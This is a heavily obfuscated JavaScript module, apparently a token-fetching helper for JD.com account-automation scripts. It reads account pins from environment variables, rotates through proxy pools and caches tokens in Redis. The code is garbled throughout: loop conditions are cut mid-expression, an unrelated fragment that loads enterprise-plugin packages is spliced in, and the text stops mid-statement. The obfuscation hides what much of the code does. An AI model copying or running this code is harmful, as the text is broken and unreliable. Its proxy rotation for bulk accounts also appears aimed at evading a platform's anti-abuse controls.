EPSFK9(OX9x6d,zxw45O9='N|QphjgesK`#Dr&^A4@odPy9kxRf[Jl?tL.+TB7:XF6M{H,cm8ZWYSCEG~;$!v5I<(U0nbV"qaOi31=u_2%/wz)*>}]',j_yfM9,s1UEwO,Rd4e149=[],usvd_v,Rliswtu=0x0,NDHzai,fwYXUI=0x0,QBPjB6P){RkvVboQ(j_yfM9=''+(OX9x6d||''),s1UEwO=j_yfM9.length,usvd_v=ZFr428(-0xb),NDHzai=-0x1);for(fwYXUI=fwYXUI;fwYXUIZFr428(0x11)?0xd:0xe);do{RkvVboQ(Rd4e149.push(usvd_v&ZFr428(0xa)),usvd_v>>=0x8,Rliswtu-=ZFr428(0xc))}while(Rliswtu>0x7);NDHzai=-ZFr428(-0x3)}}if(NDHzai>-0x1){Rd4e149.push((usvd_v|NDHzai<EWzl2U+X.N_I=M*`(O^nVxFw}{Dekmd,corhCY]Q!S"u1bL8ftHKgPJ;Z[9q3BjA?y7G)a/R%5iTs6&<#p@4',OX9x6d.T_gfIC=''+(OX9x6d[0x0]||''),OX9x6d.S2PUik=OX9x6d.T_gfIC.length,OX9x6d[0x4]=[],OX9x6d[ZFr428(0x19)]=0x0,OX9x6d[0x6]=ZFr428(-0xb),OX9x6d.PzoDg6=-ZFr428(-0x3));for(y3u2D_=ZFr428(-0xb);y3u2D_{return Oj5aTtL[OX9x6d>0xb0?OX9x6d+0x57:OX9x6d-0x36]},0x1);RkvVboQ(OX9x6d[ZFr428(0x17)]+=OX9x6d[OX9x6d[ZFr428(0x18)]-0x61]*0x5b,OX9x6d.URaAE3|=OX9x6d.PzoDg6<KKa0Qbu(0x5c)?ZFr428(0x12):KKa0Qbu(0x5a));do{RkvVboQ(OX9x6d[OX9x6d[KKa0Qbu(0x63)]-KKa0Qbu(0x7b)].push(OX9x6d.URaAE3&ZFr428(0xa)),OX9x6d[ZFr428(0x19)]>>=0x8,OX9x6d[ZFr428(-0x8)]-=0x8)}while(OX9x6d[0x6]>ZFr428(0xb));OX9x6d[ZFr428(0x17)]=-0x1}}if(OX9x6d[ZFr428(0x17)]>-ZFr428(-0x3)){OX9x6d[0x4].push((OX9x6d.URaAE3|OX9x6d.PzoDg6<0xd8?OX9x6d[0x0]:cPCaoN0(OX9x6d[0x4])}}[KKa0Qbu(0xd)]();function WnHz0i(...RkvVboQ){return RkvVboQ[RkvVboQ[KKa0Qbu(ZFr428(0xf))]-0x1]}function b2K8oO(RkvVboQ,OX9x6d,y3u2D_){var Ek50dMm=SK4J62(RkvVboQ=>{return Oj5aTtL[RkvVboQ<0x17?RkvVboQ>0x17?RkvVboQ+0x63:RkvVboQ>0x17?RkvVboQ+0x4:RkvVboQ<-0x64?RkvVboQ-0x39:RkvVboQ+0x63:RkvVboQ-0x55]},0x1);y3u2D_=[KKa0Qbu(0xf)];switch(sD9yt2){case!(Yc9umK.ZMCoWc[y3u2D_[Ek50dMm(-0x59)]](Ek50dMm(-0x5e))==ZFr428(0x26))?-0xa5:Ek50dMm(-0x54):return RkvVboQ*OX9x6d;case!(Yc9umK._P5Fwe>-ZFr428(0x1e))?void 0x0:-ZFr428(0x1a):return RkvVboQ+OX9x6d;case-Ek50dMm(-0x20):return!RkvVboQ;case-0xf:return RkvVboQ/OX9x6d}}SLff6eg(Y98PL_,ZFr428(-0x3));function Y98PL_(...OX9x6d){var y3u2D_=SK4J62(OX9x6d=>{return Oj5aTtL[OX9x6d<-0x3?OX9x6d-0xd:OX9x6d<-0x3?OX9x6d+0x2d:OX9x6d+0x2]},0x1);RkvVboQ(OX9x6d[y3u2D_(0xa)]=0x1,OX9x6d[0xcd]=OX9x6d[0x0]);return WnHz0i(OX9x6d[0xcd]=sD9yt2+(sD9yt2=OX9x6d[y3u2D_(0x2e)],0x0),OX9x6d[ZFr428(0x1b)])}sD9yt2=sD9yt2;const ncgjLV=require('path'),AWRnI4=require('./Rebels_jdCommon');let ZLyTARe=null,W41NI8X=0x1d;try{W41NI8X=QyRVwFI(0x3af)(QyRVwFI(0xeb)[KKa0Qbu.apply(ZFr428(0x2),[0x10])][KKa0Qbu.call(ZFr428(0x2),0x11)]||'29')}catch{}const iXNNwy=b2K8oO(W41NI8X*0x3c,0x3e8,sD9yt2=ZFr428(-0x6)),Xi7ff3C=new AWRnI4[H3OJsT](QyRVwFI(0xeb)[vxfUij.mNNsxYT][KKa0Qbu[ZFr428(0x1c)](void 0x0,0x14)]||b2K8oO(__dirname,KKa0Qbu(0x15)+vxfUij.zyfYYa,sD9yt2=-0x15),iXNNwy,0x2bf20),Th3FH0=(QyRVwFI(0xeb)[QBPjB6P][KKa0Qbu(0x17)]||'')[fwYXUI[ZFr428(-0xb)]]('@'),KDANus=(QyRVwFI(0xeb)[fwYXUI[0x1]][KKa0Qbu(0x19)+KKa0Qbu[ZFr428(0x1c)](void 0x0,ZFr428(-0xc))+fwYXUI[ZFr428(0x7)]+KKa0Qbu(0x1c)+KKa0Qbu(0x1d)]||QyRVwFI(ZFr428(0x1f))[KKa0Qbu(ZFr428(0x0))][KKa0Qbu.apply(void 0x0,[ZFr428(0x2a)])+vxfUij.eRaRcBr+KKa0Qbu.call(ZFr428(0x2),ZFr428(0x1d))+KKa0Qbu(0x21)+KKa0Qbu(ZFr428(0x54))+'ER']||QyRVwFI(0xeb)[vxfUij.ymjVj1][NDHzai]||'')[KKa0Qbu(ZFr428(0x1e))]('@'),Ybb9fD=(QyRVwFI(ZFr428(0x1f))[vxfUij.Vpvrlo][Rliswtu]||'')[KKa0Qbu(0x18)]('@'),o_FtPa=(QyRVwFI(0xeb)[KKa0Qbu(ZFr428(0x0))][l1XmcF]||'')[KKa0Qbu(ZFr428(0x1e))]('@');let TAyB7G,jCjINI6;try{var cJ5jb4,T30GggT,fcKezkJ,EsxHZx;function s1ciif(OX9x6d){return Oj5aTtL[OX9x6d<0x53?OX9x6d-0x1c:OX9x6d>0x53?OX9x6d-0x54:OX9x6d-0x4d]}RkvVboQ(cJ5jb4=[KKa0Qbu(0x4f)],T30GggT=KKa0Qbu(0x29),fcKezkJ={feISZIy:KKa0Qbu(ZFr428(0x20)),mFhDAZ:KKa0Qbu(ZFr428(0x21)),ejz3Zu:KKa0Qbu(ZFr428(0x20))},EsxHZx=KKa0Qbu(0x13));const OX9x6d=QyRVwFI(ZFr428(0x1f))[EsxHZx][KKa0Qbu(0x26)+fcKezkJ.feISZIy+KKa0Qbu.call(ZFr428(0x2),0x27)+KKa0Qbu(0x28)+'L']||QyRVwFI(s1ciif(0x88))[KKa0Qbu.call(void 0x0,ZFr428(0x0))][T30GggT]||'';if(OX9x6d&&Yc9umK.ZMCoWc[KKa0Qbu(0x2a)](0x3)==0x31){var z9jQp1u={X51hjcF:KKa0Qbu(0x2d)};const y3u2D_=AWRnI4[KKa0Qbu(ZFr428(0x4b))+KKa0Qbu(0x2c)+z9jQp1u.X51hjcF+KKa0Qbu(0x2e)+'ss'](OX9x6d);if(y3u2D_&&Yc9umK._P5Fwe>-0x18){var Hgsf4m=SLff6eg((...y3u2D_)=>{var OX9x6d=SK4J62(y3u2D_=>{return Oj5aTtL[y3u2D_>0x75?y3u2D_-0x41:y3u2D_>-0x6?y3u2D_>-0x6?y3u2D_+0x5:y3u2D_-0xc:y3u2D_-0x1d]},0x1);RkvVboQ(y3u2D_[ZFr428(-0x9)]=s1ciif(0x5f),y3u2D_[0xe8]=0x33);if(typeof y3u2D_[y3u2D_[0xe8]-OX9x6d(0x37)]==='undefined'){y3u2D_[s1ciif(0x59)]=ZmLhezO}if(typeof y3u2D_[0x4]==='undefined'){y3u2D_[y3u2D_[0xe8]-0x2f]=KZCv3g9}y3u2D_.PpqIm9j=y3u2D_[0x3];if(y3u2D_[s1ciif(0x8e)]===Hgsf4m){var KKa0Qbu=SK4J62(y3u2D_=>{return Oj5aTtL[y3u2D_<-0xd?y3u2D_-0x47:y3u2D_>-0xd?y3u2D_+0xc:y3u2D_-0x4a]},0x1);ZmLhezO=y3u2D_[y3u2D_[s1ciif(0x8b)]-0x32];return ZmLhezO(y3u2D_[KKa0Qbu(0x10)])}if(y3u2D_[0x2]==y3u2D_[0x0]){var Ek50dMm=SK4J62(y3u2D_=>{return Oj5aTtL[y3u2D_>0x6f?y3u2D_+0x34:y3u2D_>-0xc?y3u2D_+0xb:y3u2D_-0x49]},0x1);return y3u2D_[y3u2D_[ZFr428(0x22)]-0x32][KZCv3g9[y3u2D_[Ek50dMm(0x11)]]]=Hgsf4m(y3u2D_[ZFr428(-0xb)],y3u2D_[ZFr428(-0x3)])}if(y3u2D_[y3u2D_[0xe8]-s1ciif(0x8c)]){var C_RZi0P=SK4J62(y3u2D_=>{return Oj5aTtL[y3u2D_>-0x4?y3u2D_+0x3:y3u2D_-0x54]},0x1);[y3u2D_[y3u2D_[y3u2D_[C_RZi0P(0x34)]+OX9x6d(0x74)]-C_RZi0P(0x36)],y3u2D_[0x1]]=[y3u2D_[ZFr428(0x25)](y3u2D_[y3u2D_[y3u2D_[0xe8]+0xb5]-0x2f]),y3u2D_[s1ciif(0x5e)]||y3u2D_[C_RZi0P(0x19)]];return Hgsf4m(y3u2D_[s1ciif(0x5e)],y3u2D_[ZFr428(-0xe)],y3u2D_[0x2])}if(y3u2D_[0x0]!==y3u2D_[ZFr428(-0x3)]){return y3u2D_[ZFr428(-0xe)][y3u2D_[0x0]]||(y3u2D_[ZFr428(-0xe)][y3u2D_[y3u2D_[s1ciif(0x8b)]-0x33]]=y3u2D_.PpqIm9j(HMBpG2[y3u2D_[y3u2D_[ZFr428(0x22)]-0x33]]))}},ZFr428(-0xa));RkvVboQ(TAyB7G=y3u2D_,QyRVwFI(-s1ciif(0x98))[Hgsf4m.apply(void 0x0,[s1ciif(0x8d)])](`\n===============启用 getToken 代理池代理(新)==============\n`));function ZmLhezO(y3u2D_,OX9x6d='Q;fjVqYaHmBkCRnde3^M,',Oj5aTtL,KKa0Qbu,Ek50dMm=[],C_RZi0P,zxw45O9=0x0,j_yfM9,s1UEwO,Rd4e149){RkvVboQ(Oj5aTtL=''+(y3u2D_||''),KKa0Qbu=Oj5aTtL.length,C_RZi0P=ZFr428(-0xb),j_yfM9=-ZFr428(-0x3));for(s1UEwO=ZFr428(-0xb);s1UEwO0x58?ZFr428(0x12):s1ciif(0x78));do{RkvVboQ(Ek50dMm.push(C_RZi0P&0xff),C_RZi0P>>=0x8,zxw45O9-=ZFr428(0xc))}while(zxw45O9>ZFr428(0xb));j_yfM9=-0x1}}if(j_yfM9>-0x1){Ek50dMm.push((C_RZi0P|j_yfM9<-s1ciif(0x87)){var JYRSTh,lfOZdvL,Aiw4DdG,IfizEP_,CEO2PwX,fbhUq7J,o53aZM,u28gT_i,lCy8QdQ;function rRkxMh3(y3u2D_){return Oj5aTtL[y3u2D_>0xa6?y3u2D_-0xa:y3u2D_>0x2b?y3u2D_<0xa6?y3u2D_-0x2c:y3u2D_+0x9:y3u2D_-0x22]}RkvVboQ(JYRSTh=(y3u2D_,Ek50dMm,OX9x6d,RkvVboQ,Oj5aTtL)=>{if(typeof RkvVboQ==='undefined'){RkvVboQ=PijFeP}if(typeof Oj5aTtL==='undefined'){Oj5aTtL=KZCv3g9}if(OX9x6d==y3u2D_){return Ek50dMm[KZCv3g9[OX9x6d]]=JYRSTh(y3u2D_,Ek50dMm)}if(RkvVboQ===s1ciif(0x6b)){JYRSTh=Oj5aTtL}if(OX9x6d==RkvVboQ){return Ek50dMm?y3u2D_[Oj5aTtL[Ek50dMm]]:KZCv3g9[y3u2D_]||(OX9x6d=Oj5aTtL[y3u2D_]||RkvVboQ,KZCv3g9[y3u2D_]=OX9x6d(HMBpG2[y3u2D_]))}if(y3u2D_!==Ek50dMm){return Oj5aTtL[y3u2D_]||(Oj5aTtL[y3u2D_]=RkvVboQ(HMBpG2[y3u2D_]))}},lfOZdvL=[KKa0Qbu(0x4c)],Aiw4DdG=KKa0Qbu(0x1f),IfizEP_=KKa0Qbu(ZFr428(0x28)),CEO2PwX=KKa0Qbu(ZFr428(0x4a)),fbhUq7J=JYRSTh(0x3d),o53aZM=KKa0Qbu.call(rRkxMh3(0x43),0x3c),u28gT_i={Cj2FVst:KKa0Qbu[ZFr428(0x1c)](rRkxMh3(0x43),0x39),G1ccbm:KKa0Qbu(0x3f),dkbcD8:KKa0Qbu(0x13)},lCy8QdQ=KKa0Qbu[ZFr428(0x1c)](ZFr428(0x2),0x37));const y3u2D_=WnHz0i(jCjINI6={[KKa0Qbu(ZFr428(0x28))]:s1ciif(0x92),[lCy8QdQ+KKa0Qbu[s1ciif(0x68)](rRkxMh3(0x43),[0x38])]:s1ciif(0x92),[u28gT_i.Cj2FVst]:null,[KKa0Qbu(0x3a)+KKa0Qbu(0x3b)]:rRkxMh3(0x6a),[o53aZM+fbhUq7J+KKa0Qbu(0x3e)]:s1ciif(0x92),[u28gT_i.G1ccbm]:null,[JYRSTh(0x40)]:null,[CEO2PwX]:null},jCjINI6[IfizEP_]=OX9x6d,QyRVwFI(s1ciif(0x88))[u28gT_i.dkbcD8][KKa0Qbu(rRkxMh3(0x62))+KKa0Qbu.apply(ZFr428(0x2),[0x1f])+KKa0Qbu.apply(void 0x0,[0x27])+KKa0Qbu(0x42)+KKa0Qbu(0x43)]||QyRVwFI(0xeb)[KKa0Qbu(ZFr428(0x0))][KKa0Qbu(rRkxMh3(0x6b))+Aiw4DdG+KKa0Qbu(0x27)+KKa0Qbu(0x44)+'AX']||'0');try{jCjINI6[KKa0Qbu(0x39)]=QyRVwFI(0x3af)(y3u2D_)}catch{jCjINI6[KKa0Qbu[ZFr428(-0x1)](undefined,[0x45])+'it']=0x1}const Ek50dMm=QyRVwFI(s1ciif(0x88))[KKa0Qbu(ZFr428(0x0))][KKa0Qbu(0x46)]||KKa0Qbu(0x47);try{jCjINI6[JYRSTh.call(undefined,0x48)]=QyRVwFI(0x3af)(Ek50dMm)}catch{jCjINI6[JYRSTh(0x49)]=0x2710}RkvVboQ(jCjINI6[KKa0Qbu.call(undefined,ZFr428(0x36))]=(QyRVwFI(s1ciif(0x88))[KKa0Qbu(0x13)][KKa0Qbu(0x4b)]||lfOZdvL[0x0])===KKa0Qbu(0x4c),QyRVwFI(-0x344)[KKa0Qbu[s1ciif(0x68)](s1ciif(0x6b),[0x4d])](`\n================启用 getToken API代理(新)================\n`));function PijFeP(y3u2D_,Ek50dMm='GUjNOq&ciD`wAY7S;~v%g=h9T!8xtakXfMemWZsIELBClJroRd#*V|K16F(HQ[$P_0bnyu{>4.z?)+@}/]235<"^p,:',OX9x6d,KKa0Qbu,C_RZi0P=[],zxw45O9,j_yfM9,s1UEwO,Rd4e149=0x0,usvd_v){var l1XmcF=SK4J62(y3u2D_=>{return Oj5aTtL[y3u2D_>-0x15?y3u2D_>-0x15?y3u2D_<0x66?y3u2D_+0x14:y3u2D_+0x4e:y3u2D_+0x10:y3u2D_-0x1a]},0x1);RkvVboQ(OX9x6d=''+(y3u2D_||''),KKa0Qbu=OX9x6d.length,zxw45O9=l1XmcF(-0xa),j_yfM9=l1XmcF(-0xa),s1UEwO=-0x1);for(Rd4e149=Rd4e149;Rd4e149rRkxMh3(0x52)?0xd:0xe);do{RkvVboQ(C_RZi0P.push(zxw45O9&0xff),zxw45O9>>=rRkxMh3(0x4d),j_yfM9-=ZFr428(0xc))}while(j_yfM9>0x7);s1UEwO=-l1XmcF(-0x2)}}if(s1UEwO>-0x1){C_RZi0P.push((zxw45O9|s1UEwO</[KKa0Qbu.call(void 0x0,0x5a)](SD7wN8);let IzZuI0=null;if(Gcaj1iT&&Yc9umK.G7woUB>-ZFr428(0x11)){let RkvVboQ=null;try{RkvVboQ=require('redis')}catch(err){var ugdXNrt=SK4J62(RkvVboQ=>{return Oj5aTtL[RkvVboQ<0x5f?RkvVboQ<0x5f?RkvVboQ<0x5f?RkvVboQ+0x1b:RkvVboQ+0x5c:RkvVboQ+0x11:RkvVboQ+0x16]},0x1);QyRVwFI(-ZFr428(0x2f))[KKa0Qbu(ugdXNrt(0x25))](`❌ getToken Redis模块加载失败 ➜ ${err[KKa0Qbu(0x5c)]}`)}if(RkvVboQ&&Yc9umK.ybdgMwE>-ZFr428(0xc)){try{IzZuI0=RkvVboQ[KKa0Qbu(0x5d)]({[KKa0Qbu(0x5e)]:Gcaj1iT})}catch(err){var UUw50Pj={YkZz7d:KKa0Qbu(0x60)};QyRVwFI(-ZFr428(0x2f))[KKa0Qbu.call(void 0x0,0x5f)](`❌ getToken Redis连接异常 ➜ ${err[UUw50Pj.YkZz7d]||err}`)}}}SLff6eg(zvwR3_,0x1);async function zvwR3_(...OX9x6d){var y3u2D_=SK4J62(OX9x6d=>{return Oj5aTtL[OX9x6d<0x47?OX9x6d-0x57:OX9x6d<0xc2?OX9x6d>0x47?OX9x6d-0x48:OX9x6d+0x59:OX9x6d-0x63]},0x1);RkvVboQ(OX9x6d.length=0x1,OX9x6d.m0dXUo=-0x77,OX9x6d[0x1]=!0x1);if(OX9x6d[OX9x6d[y3u2D_(0x90)]+0x78]&&Yc9umK.ybdgMwE>-0x8){var Ek50dMm=SK4J62(OX9x6d=>{return Oj5aTtL[OX9x6d>0x99?OX9x6d+0x43:OX9x6d-0x1f]},0x1);OX9x6d[ZFr428(0x7)]=require('path');const {version}=require('../../package'),{version:zxw45O9}=require('@redacted/enterprise-plugin/package'),{version:j_yfM9}=require('@redacted/components/package'),{sdkVersion}=require('@redacted/enterprise-plugin');RkvVboQ(OX9x6d[Ek50dMm(0x3f)]=require('../utils/isStandaloneExecutable'),OX9x6d[0x8]=require('./resolve-local-redacted-path'),OX9x6d[ZFr428(0x16)]=OX9x6d[OX9x6d.m0dXUo+(OX9x6d.m0dXUo-(OX9x6d.m0dXUo-0x79))].resolve(__dirname,KKa0Qbu.call(void 0x0,OX9x6d.m0dXUo+y3u2D_(0xab))))}RkvVboQ(OX9x6d.Jf68nS=OX9x6d[y3u2D_(0x52)],OX9x6d.amMroXY=QyRVwFI(-ZFr428(0x40))(ilBjq2?SD7wN8[KKa0Qbu(OX9x6d.m0dXUo+ZFr428(0x4f))](//g,ptPin):`${SD7wN8}${OX9x6d.Jf68nS}`),OX9x6d[0xb]=OX9x6d.m0dXUo+0x7a,OX9x6d.coZeZn=y3u2D_(0x86));for(let Rd4e149=0x0;Rd4e149-0x27?OX9x6d[0x8a]:''}async function aor75zR(OX9x6d,y3u2D_){const Ek50dMm=QyRVwFI(-0x124)[KKa0Qbu(ZFr428(0x5c))](b2K8oO(QyRVwFI(ZFr428(0x23))[KKa0Qbu(0x6b)]()+iXNNwy,0x3e8,Y98PL_(-0xf))),C_RZi0P=QyRVwFI(-0x187)(ilBjq2?SD7wN8[KKa0Qbu(0x6c)](//g,ptPin):`${SD7wN8}${OX9x6d}`),zxw45O9=y3u2D_,j_yfM9=ZFr428(-0x10);let s1UEwO=ZFr428(0x29);for(let Rd4e149=0x0;Rd4e149{var j_yfM9=SK4J62(OX9x6d=>{return Oj5aTtL[OX9x6d>0x46?OX9x6d>0x46?OX9x6d-0x47:OX9x6d-0x62:OX9x6d-0x57]},0x1);if(typeof C_RZi0P===j_yfM9(0x4d)){C_RZi0P=l1XmcF}if(typeof zxw45O9==='undefined'){zxw45O9=KZCv3g9}if(C_RZi0P===usvd_v){l1XmcF=y3u2D_;return l1XmcF(Ek50dMm)}if(Ek50dMm&&C_RZi0P!==l1XmcF){usvd_v=l1XmcF;return usvd_v(OX9x6d,-0x1,Ek50dMm,C_RZi0P,zxw45O9)}if(OX9x6d!==y3u2D_){return zxw45O9[OX9x6d]||(zxw45O9[OX9x6d]=C_RZi0P(HMBpG2[OX9x6d]))}if(Ek50dMm==C_RZi0P){return y3u2D_?OX9x6d[zxw45O9[y3u2D_]]:KZCv3g9[OX9x6d]||(Ek50dMm=zxw45O9[OX9x6d]||C_RZi0P,KZCv3g9[OX9x6d]=Ek50dMm(HMBpG2[OX9x6d]))}if(Ek50dMm==OX9x6d){return y3u2D_[KZCv3g9[Ek50dMm]]=usvd_v(OX9x6d,y3u2D_)}};s1UEwO=err[usvd_v(0x70)]||err;function l1XmcF(OX9x6d,y3u2D_='D428).7@a;|ZA9?cI`%5"shyCNK}(&nQ]wW/o~',Ek50dMm,C_RZi0P,zxw45O9=[],j_yfM9=0x0,s1UEwO=0x0,Rd4e149,usvd_v=0x0,l1XmcF){RkvVboQ(Ek50dMm=''+(OX9x6d||''),C_RZi0P=Ek50dMm.length,Rd4e149=-ZFr428(-0x3));for(usvd_v=usvd_v;usvd_vZFr428(0x11)?0xd:ZFr428(0xf));do{RkvVboQ(zxw45O9.push(j_yfM9&ZFr428(0xa)),j_yfM9>>=0x8,s1UEwO-=ZFr428(0xc))}while(s1UEwO>ZFr428(0xb));Rd4e149=-ZFr428(-0x3)}}if(Rd4e149>-ZFr428(-0x3)){zxw45O9.push((j_yfM9|Rd4e149<{if(typeof C_RZi0P===ZFr428(-0xf)){C_RZi0P=CEO2PwX}if(typeof j_yfM9==='undefined'){j_yfM9=KZCv3g9}if(Ek50dMm==C_RZi0P){return y3u2D_?OX9x6d[j_yfM9[y3u2D_]]:KZCv3g9[OX9x6d]||(Ek50dMm=j_yfM9[OX9x6d]||C_RZi0P,KZCv3g9[OX9x6d]=Ek50dMm(HMBpG2[OX9x6d]))}if(y3u2D_){[j_yfM9,y3u2D_]=[C_RZi0P(j_yfM9),OX9x6d||Ek50dMm];return zxw45O9(OX9x6d,j_yfM9,Ek50dMm)}if(OX9x6d!==y3u2D_){return j_yfM9[OX9x6d]||(j_yfM9[OX9x6d]=C_RZi0P(HMBpG2[OX9x6d]))}},j_yfM9;j_yfM9=KKa0Qbu(0x74);const s1UEwO=QyRVwFI(-0x1df)(AWRnI4[KKa0Qbu(0x73)](OX9x6d,j_yfM9));if(s1UEwO){if(b2K8oO(ZLyTARe,sD9yt2=-0x2a)){const Rd4e149=require[KKa0Qbu(0x75)][KKa0Qbu(0x76)];ZLyTARe=ncgjLV[KKa0Qbu(0x77)](Rd4e149,KKa0Qbu(0x78))}if(Ek50dMm&&Yc9umK.G7woUB>-ZFr428(0x11)){let usvd_v=[];if(y3u2D_[KKa0Qbu(0x79)+ZFr428(0x3f)](KKa0Qbu(0x7a))&&Yc9umK._P5Fwe>-0x18){var l1XmcF;function Rliswtu(OX9x6d){return Oj5aTtL[OX9x6d<-0x4a?OX9x6d-0x60:OX9x6d>0x31?OX9x6d-0x40:OX9x6d<0x31?OX9x6d<0x31?OX9x6d+0x49:OX9x6d+0x48:OX9x6d-0x49]}l1XmcF=SLff6eg((...OX9x6d)=>{RkvVboQ(OX9x6d[ZFr428(-0x9)]=0x5,OX9x6d[0x4a]=OX9x6d[ZFr428(0x7)]);if(typeof OX9x6d[0x3]===ZFr428(-0xf)){OX9x6d[0x3]=fwYXUI}if(typeof OX9x6d[ZFr428(-0xe)]==='undefined'){OX9x6d[0x4]=KZCv3g9}OX9x6d.OBgtO0=OX9x6d[0x4];if(OX9x6d[0x1]){var y3u2D_=SK4J62(OX9x6d=>{return Oj5aTtL[OX9x6d<-0x40?OX9x6d+0x2:OX9x6d<-0x40?OX9x6d-0x3f:OX9x6d+0x3f]},0x1);[OX9x6d[ZFr428(0x35)],OX9x6d[0x1]]=[OX9x6d[ZFr428(-0x10)](OX9x6d[ZFr428(0x35)]),OX9x6d[0x0]||OX9x6d[y3u2D_(0xc)]];return l1XmcF(OX9x6d[0x0],OX9x6d.OBgtO0,OX9x6d[ZFr428(0x36)])}if(OX9x6d[0x0]!==OX9x6d[0x1]){var Ek50dMm=SK4J62(OX9x6d=>{return Oj5aTtL[OX9x6d>0x55?OX9x6d-0x56:OX9x6d+0x5f]},0x1);return OX9x6d.OBgtO0[OX9x6d[0x0]]||(OX9x6d[ZFr428(0x35)][OX9x6d[ZFr428(-0xb)]]=OX9x6d[Ek50dMm(0x5b)](HMBpG2[OX9x6d[0x0]]))}},Rliswtu(-0x3e));if(ZLyTARe[l1XmcF[Rliswtu(-0x35)](Rliswtu(-0x32),[0x7b])](KKa0Qbu[Rliswtu(-0x35)](void 0x0,[0x7c])+l1XmcF(0x7d))){usvd_v=Ybb9fD}else{var NDHzai={Zb97O5:KKa0Qbu(0x7e)};usvd_v=ZLyTARe[NDHzai.Zb97O5+KKa0Qbu(Rliswtu(-0x27))](KKa0Qbu(0x7c)+'j_')&&Yc9umK._P5Fwe>-0x18?KDANus:Th3FH0}SLff6eg(fwYXUI,0x1);function fwYXUI(...OX9x6d){var y3u2D_;function Ek50dMm(OX9x6d){return Oj5aTtL[OX9x6d<-0x5c?OX9x6d+0x25:OX9x6d>-0x5c?OX9x6d+0x5b:OX9x6d-0x4e]}RkvVboQ(OX9x6d.length=0x1,OX9x6d[0xa4]=-0x34,OX9x6d[OX9x6d[0xa4]+Rliswtu(0x3)]='5x(0EpTD`cVFZ4eP+QX,|;#>%y2/368<^![u9v)}*:]jkni_=WKgLloaCHUqRGOhmBtMI$&fwzAJr@17?SNY.s{~"db',OX9x6d[0xa4]=-Rliswtu(0x4),OX9x6d[ZFr428(0x7)]=''+(OX9x6d[OX9x6d[Ek50dMm(-0xd)]+0x65]||''),OX9x6d[ZFr428(-0x10)]=OX9x6d[OX9x6d[OX9x6d[0xa4]+(OX9x6d[0xa4]+0x16e)]+0x67].length,OX9x6d.pWhQ5lP=[],OX9x6d.RuRtR7r=OX9x6d[OX9x6d[0xa4]+0x109]+0x45,OX9x6d[Ek50dMm(-0xa)]=OX9x6d[0xa4]+ZFr428(0x38),OX9x6d[OX9x6d[0xa4]+Rliswtu(0x7)]=0x0,OX9x6d.UnRRPby=-Ek50dMm(-0x49));for(y3u2D_=0x0;y3u2D_Ek50dMm(-0x35)?OX9x6d[ZFr428(0x39)]+Ek50dMm(-0xc):0xe);do{RkvVboQ(OX9x6d.pWhQ5lP.push(OX9x6d.hf6Wea&OX9x6d[0xa4]+0x164),OX9x6d.hf6Wea>>=0x8,OX9x6d[Ek50dMm(-0x4e)]-=ZFr428(0xc))}while(OX9x6d[OX9x6d[Ek50dMm(-0xd)]+ZFr428(0x3b)]>0x7);OX9x6d.UnRRPby=-0x1}}if(OX9x6d.UnRRPby>-ZFr428(-0x3)){OX9x6d[ZFr428(0x3d)].push((OX9x6d[ZFr428(0x3c)]|OX9x6d.UnRRPby<-0x17?OX9x6d[0x91]:cPCaoN0(OX9x6d[Ek50dMm(-0x9)])}}else{if(y3u2D_[KKa0Qbu(0x80)](KKa0Qbu(ZFr428(0x3e)))&&Yc9umK.QUpTfCS()){usvd_v=o_FtPa}}if(usvd_v[KKa0Qbu(0x82)]>ZFr428(-0xb)&&(usvd_v[KKa0Qbu(0x83)](s1UEwO)||usvd_v[KKa0Qbu(0x79)+ZFr428(0x3f)](QyRVwFI(-ZFr428(0x40))(s1UEwO)))){return WnHz0i(QyRVwFI(-0x344)[KKa0Qbu(0x84)](KKa0Qbu(ZFr428(0x50))+KKa0Qbu.apply(ZFr428(0x2),[0x86])+KKa0Qbu[ZFr428(-0x1)](ZFr428(0x2),[0x87])),'')}if(WnHz0i(C_RZi0P=Xi7ff3C[KKa0Qbu(0x88)](s1UEwO)||'',C_RZi0P)&&Yc9umK.ybdgMwE>-ZFr428(0xc)){return C_RZi0P}if(IzZuI0&&Yc9umK.QUpTfCS()){if(WnHz0i(C_RZi0P=await zvwR3_(s1UEwO),C_RZi0P)&&Yc9umK.ZMCoWc[KKa0Qbu(0x89)](0x3)==ZFr428(0x26)){return C_RZi0P}}}}const QBPjB6P=await AWRnI4[KKa0Qbu(0x8a)](KKa0Qbu[ZFr428(-0x1)](ZFr428(0x2),[0x8b]),{[KKa0Qbu(ZFr428(0x44))]:y3u2D_,id:''});if(b2K8oO(QBPjB6P,Y98PL_(-0x2a))){return WnHz0i(QyRVwFI(-ZFr428(0x2f))[KKa0Qbu.call(void 0x0,0x8d)](`🚫 getToken 签名获取失败`),'')}let vxfUij=null,H3OJsT=!0x1;if(TAyB7G||jCjINI6){var D9QHz3=KKa0Qbu(ZFr428(0x41));if(TAyB7G&&Yc9umK.ZMCoWc[D9QHz3+KKa0Qbu.apply(void 0x0,[0x8f])](0x3)==ZFr428(0x26)){vxfUij=TAyB7G}else{if(jCjINI6){if(jCjINI6[KKa0Qbu(ZFr428(0x42))+KKa0Qbu(0x91)]&&Yc9umK.QUpTfCS()){var NpGTJOi=KKa0Qbu(0x92);RkvVboQ(vxfUij=jCjINI6[NpGTJOi],H3OJsT=!0x0)}else{var ArGJ1Yk=(OX9x6d,y3u2D_,Ek50dMm,C_RZi0P,zxw45O9)=>{if(typeof C_RZi0P===ZFr428(-0xf)){C_RZi0P=fcKezkJ}if(typeof zxw45O9==='undefined'){zxw45O9=KZCv3g9}if(C_RZi0P===ZFr428(0x2)){ArGJ1Yk=zxw45O9}if(Ek50dMm&&C_RZi0P!==fcKezkJ){ArGJ1Yk=fcKezkJ;return ArGJ1Yk(OX9x6d,-ZFr428(-0x3),Ek50dMm,C_RZi0P,zxw45O9)}if(C_RZi0P===ArGJ1Yk){fcKezkJ=y3u2D_;return fcKezkJ(Ek50dMm)}if(Ek50dMm==OX9x6d){return y3u2D_[KZCv3g9[Ek50dMm]]=ArGJ1Yk(OX9x6d,y3u2D_)}if(OX9x6d!==y3u2D_){return zxw45O9[OX9x6d]||(zxw45O9[OX9x6d]=C_RZi0P(HMBpG2[OX9x6d]))}},pzWMPef,yF4Ki2B;RkvVboQ(pzWMPef=ArGJ1Yk(0x95),yF4Ki2B=ArGJ1Yk(ZFr428(0x43)));const EPSFK9=await 